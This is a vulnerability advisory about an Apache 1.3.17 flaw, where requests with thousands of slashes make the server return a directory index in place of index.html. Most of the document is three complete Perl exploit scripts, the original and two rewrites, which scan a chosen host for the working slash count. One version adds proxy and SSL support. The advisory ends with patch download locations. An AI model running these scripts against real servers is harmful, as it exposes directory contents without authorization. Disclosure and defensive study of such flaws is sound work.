COMMAND
Apache
SYSTEMS AFFECTED
Apache 1.3.17 and below
PROBLEM
Matt Watchinski found following. This exploit tricks apache into
returning a Index of the a directory even if an index.html file
is present. May not work on some OS's
http_request.c has a subroutine called ap_sub_req_lookup_file
that in very specific cases would feed stat() a filename that was
longer than stat() could handle. This would result in a condition
where stat() would return 0 and a directory index would be
returned instead of the default index.html.
Code Fragment: /src/main/http_request.c
if (strchr(new_file, '/') == NULL) {
char *udir = ap_make_dirstr_parent(rnew->pool, r->uri);
rnew->uri = ap_make_full_path(rnew->pool, udir, new_file);
rnew->filename = ap_make_full_path(rnew->pool, fdir, new_file);
ap_parse_uri(rnew, rnew->uri); /* fill in parsed_uri values */
if (stat(rnew->filename, &rnew->finfo) < 0) { <-- Important part
rnew->finfo.st_mode = 0;
}
Mod_dir / Mod_autoindex / Mod_negotiation need to be enabled. The
directory must also have the following Options enabled: Indexes
and MultiView. Some OS's have different conditions on the number
of character you have to pass to stat to make this work. If stat
doesn't return 0 for path names less than 8192 or so internal
apache buffer checks will stop this exploit from working.
Debian needed around 4060 /'s to make this work. The exploit:
#!/usr/bin/perl
#
# farm9, Inc. (copyright 2001)
#
# Name: Apache Artificially Long Slash Path Directory Listing Exploit
# Author: Matt Watchinski
# Ref: SecurityFocus BID 2503
#
# Affects: Apache 1.3.17 and below
# Tested on: Apache 1.3.12 running on Debian 2.2
#
#
# Greets: Special thanks to natasha who added a lot of debug to apache for me
# while i was trying to figure out what had to be enabled to make this
# exploit work. Also thanks to rfp for pointing out that MultiView
# needed to be enabled.
#
# More Greets: Jeff for not shooting me :) <All your Cisco's belong to us>
# Anne for being so sexy <I never though corporate espionage
# would be so fun>
# All my homies at farm9
# DJ Charles / DJ NoloN for the phat beats
# Marty (go go gadget snort)
# All my ex-bees
# RnVjazpIaXZlcndvcmxk
#
# I think that wraps it up. Have fun.
#
# Usage: ./apacheIndex.pl <host> <port> <HI> <Low>
# Where: Hi and low are the range for the number of / to try
#
use IO::Socket;
$low = $ARGV[3]; #Low number of slash characters to try
$hi = $ARGV[2]; #High number of slash characters to try
$port = $ARGV[1]; #Port to try to connect to
$host = $ARGV[0]; #Host to try to connect to
# Main loop. Not much to this exploit once you figure out what needed to
# be enabled. Need to do some more testing on sub-dirs to see if it
# works with them. It should. Also different OS's might use a differnt number
# of /. Send me the numbers if you don't mind matt@farm9.com
while($low <= $hi)
{
$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port,
Proto => "TCP") or die "Connect Failed";
$url = "";
$buffer = "";
$end = "";
$url = "GET ";
$buffer = "/" x $low . " HTTP/1.0\r\n";
$end = "\r\n\r\n";
$url = $url . $buffer . $end;
print $socket "$url";
while(<$socket>)
{
if($_ =~ "Index of")
{
print "Found the magic number: $low\n";
print "Now go do it by hand to to see it all\n";
close($socket);
exit;
}
}
close($socket);
$low++
}
In some testings you need to take the Host header into account.
: $url = "GET ";
: $buffer = "/" x $low . " HTTP/1.0\r\n";
: $end = "\r\n\r\n";
The server tested against uses mod_rewrite to do virtual hosting,
and it arrived at a different magic number with the host header,
and against without the header. In that case make the following
change to the above code:
$buffer = "/" x $low . " HTTP/1.0\r\nHost: ". $host ."\r\n";
Should be fairly easy to understand.
Siberian rewrote a lot of it's code. Now it will also work if
executed from a Windows box.
#!/usr/bin/perl
#
# orginal by farm9, Inc. (copyright 2001)
# new modified code by Siberian (www.sentry-labs.com)
#
########################################################################################
#
# Note: This isn't the orginal exploit! This one was modified and partly rewritten.
#
# Changes:
#
# - help added (more user firendly :-) )
# - messages added
# - exploit is now able to be executed on WinNT or 2k.
# - uses perl version of BSD sockets (compatible to Windows)
#
# Rewriter's Note: I rewrote (I was bored to death that evening :-) ) some
# of the code and made it esaier to use and cross platform compatible.
# The old verion used a esaier but not that compaible way of socket stream communication.
# Any network code was replaced by cross platform compatible BSD sockets.
# (much better than any other stream method :-) )
#
# Tested with Perl 5.6 (Linux) and ActivePerl 5.6 (Win32)
#
use Socket;
print "Apache Artificially Long Slash Path Directory Listing Exploit\nSecurityFocus BID 2503\n\n";
print "original exploit code written by Matt Watchinski (www.farm9.com)\n";
print "rewritten and fixed by Siberian (www.sentry-labs.com)\n\n";
$host = shift || 'localhost'; #Host to try to connect to
$port = shift || '80'; #Port to try to connect to
$hi = shift || '100'; #High number of slash characters to try
$low = shift || '0'; #Low number of slash characters to try
if(($host eq 'localhost') && ($port eq '80') && ($hi eq '100') && ($low eq '0')) {
print 'Usage: ./apache2.pl <host> <port> <HI> <Low>';
print "\nHi and low are the range for the number of \/ to try\n";
exit 0;
}
print "\ntarget: $host";
print "\nport: $port";
print "\nhi: $hi";
print "\nlow: $low\n\nStarting attack...\n\n";
# Main loop. Not much to this exploit once you figure out what needed to
# be enabled. Need to do some more testing on sub-dirs to see if it
# works with them. It should. Also different OS's might use a different number
# of /. Send me the numbers if you don't mind matt@farm9.com
$url = "";
$buffer = "";
$end = "";
#$port = (getservbyname($port, 'tcp') || die "No port!");
$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr) or die "Faild ... SOCKADDR_IN!";
$proto = getprotobyname('tcp');
while($low <= $hi) {
socket(SOCKY, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
connect(SOCKY, $paddr ) or die "connect: $!";;
$url = "GET ";
$buffer = "/" x $low . " HTTP/1.0\r\n";
$end = "\r\n\r\n";
$url = $url . $buffer . $end;
print ".";
send(SOCKY,$url,0) or die "send: $!";;
while((recv(SOCKY,$out,1,0)) && ($out ne "")) {
if($out eq "I") {
recv(SOCKY,$out,1,0);
if($out eq "n") {
recv(SOCKY,$out,1,0);
if($out eq "d") {
recv(SOCKY,$out,1,0);
if($out eq "e") {
recv(SOCKY,$out,1,0);
if($out eq "x") {
recv(SOCKY,$out,1,0);
if($out eq " ") {
recv(SOCKY,$out,1,0);
if($out eq "o") {
recv(SOCKY,$out,1,0);
if($out eq "f") {
print "Found the magic number: $low\n";
print "Now go do it by hand to to see it all\n";
close(SOCKY);
exit 0;
}
}
}
}
}
}
}
}
}
close(SOCKY);
$low++;
}
print "\n\nNot vulnerable :-(\nCheck some other numbers.\n";
'rain forest puppy' added following. Attached is apache3.pl,
which is a recoded version of Siberian's recode of Matt
Watchinski's exploit. His version uses libwhisker, which allows
the exploit to have HTTP/1.1, proxy, and SSL support
automatically. Basic support (not including SSL) should work for
any platform having Perl. To use the attached exploit, you'll
need a copy of libwhisker. The latest is pr3, downloadable at:
http://www.wiretrip.net/rfp/p/doc.asp?id=21&iface=7
You can either grab the developer tarball and build/install it,
or just grab the libwhisker.pm, put it in the same directory as
the apache3.pl, and just run apache3.pl--perl will use the
libwhisker.pm module in the same directory. For SSL support,
you'll need either Crypt::SSLeay or Net::SSLeay installed (which
may require OpenSSL). ActiveState ported Crypt::SSLeay/Net::SSL
(not Net::SSLeay) over to Windows, so Windows users should have
SSL support as well.
#!/usr/bin/perl
#
# orginal by farm9, Inc. (copyright 2001)
# then modified by Siberian (www.sentry-labs.com)
# with more modifications by rfp (www.wiretrip.net/rfp/)
#
##########################################################################
use libwhisker;
use Getopt::Std;
# apache3.pl
# this exploit was modified to use the libwhisker library, which gives
# HTTP/1.1, proxy, and SSL support. Plus, small other changes.
$|++;
my (%hin,%hout,%args);
print "Apache Artificially Long Slash Path Directory Listing Exploit\n";
print "SecurityFocus BID 2503\n\n";
print "Original exploit code written by Matt Watchinski (www.farm9.com)\n";
print "Rewritten and fixed by Siberian (www.sentry-labs.com)\n";
print "Moved to libwhisker by rfp\n\n";
getopts("p:L:H:sP:R:h:",\%args);
if($args{h} eq ''){
print 'Usage: ./apache3.pl <options>, where options:',"\n";
print '-h host host to scan (must be specified)',"\n";
print '-p ## host port (default: 80)',"\n";
print '-L ## low end/start of range (default: 1)',"\n";
print '-H ## high end/end of range (default: 8192)',"\n";
print '-P host HTTP proxy via host',"\n";
print '-R ## HTTP proxy port (default: 80)',"\n";
print '-s use SSL (can\'t be used with proxy)',"\n";
exit 0;
}
$low = $args{L} || 1;
$high = $args{H} || 8192;
&lw::http_init_request(\%hin); # setup our request hash
$hin{'whisker'}->{'host'}= $args{h};
$hin{'whisker'}->{'port'}= $args{p} || 80;
if(defined $args{s}){
$hin{'whisker'}->{'ssl'} = 1;
if(defined $args{P}){
print "SSL not currently compatible with proxy\n";
exit 1;
}
}
if(defined $args{'P'}){
$hin{'whisker'}->{'proxy_host'}=$args{P};
$hin{'whisker'}->{'proxy_port'}=$args{R} || 80;
print "Using proxy host $hin{'whisker'}->{'proxy_host'} on ";
print "port $hin{'whisker'}->{'proxy_port'}\n";
}
&lw::http_fixup_request(\%hin); # fix any HTTP requirements
for($c=$low; $c<=$high; $c++){
$hin{'whisker'}->{'uri'} = '/' x $c;
if(&lw::http_do_request(\%hin,\%hout)){
print "Error: $hout{'whisker'}->{'error'}\n";
exit 1;
} else {
if($hout{'whisker'}->{'http_resp'} == 200 &&
$hout{'whisker'}->{'data'}=~/index of/i){
print "Found result using $c slashes.\n";
exit 0;
}
}
print "."; # for status
}
print "\nNot vulnerable (perhaps try a different range).\n";
SOLUTION
1.3.19 has fixed this. For Trustix Linux:
http://www.trustix.net/pub/Trustix/updates/
ftp://ftp.trustix.net/pub/Trustix/updates/
./1.2/SRPMS/apache-ssl-1.3.19_1.44-1tr.src.rpm
./1.2/SRPMS/apache-1.3.19-1tr.src.rpm
./1.2/RPMS/apache-ssl-1.3.19_1.44-1tr.i586.rpm
./1.2/RPMS/apache-devel-1.3.19-1tr.i586.rpm
./1.2/RPMS/apache-1.3.19-1tr.i586.rpm
./1.1/SRPMS/apache-ssl-1.3.19_1.44-1tr.src.rpm
./1.1/SRPMS/apache-1.3.19-1tr.src.rpm
./1.1/RPMS/apache-ssl-1.3.19_1.44-1tr.i586.rpm
./1.1/RPMS/apache-devel-1.3.19-1tr.i586.rpm
./1.1/RPMS/apache-1.3.19-1tr.i586.rpm
For EnGarde Secure Linux:
ftp://ftp.engardelinux.org/pub/engarde/stable/updates/
http://ftp.engardelinux.org/pub/engarde/stable/updates/
http://ftp.ibiblio.org/pub/linux/distributions/engarde/stable/updates/
SRPMS/apache-1.3.20-1.0.25.src.rpm
i386/apache-1.3.20-1.0.25.i386.rpm
i686/apache-1.3.20-1.0.25.i686.rpm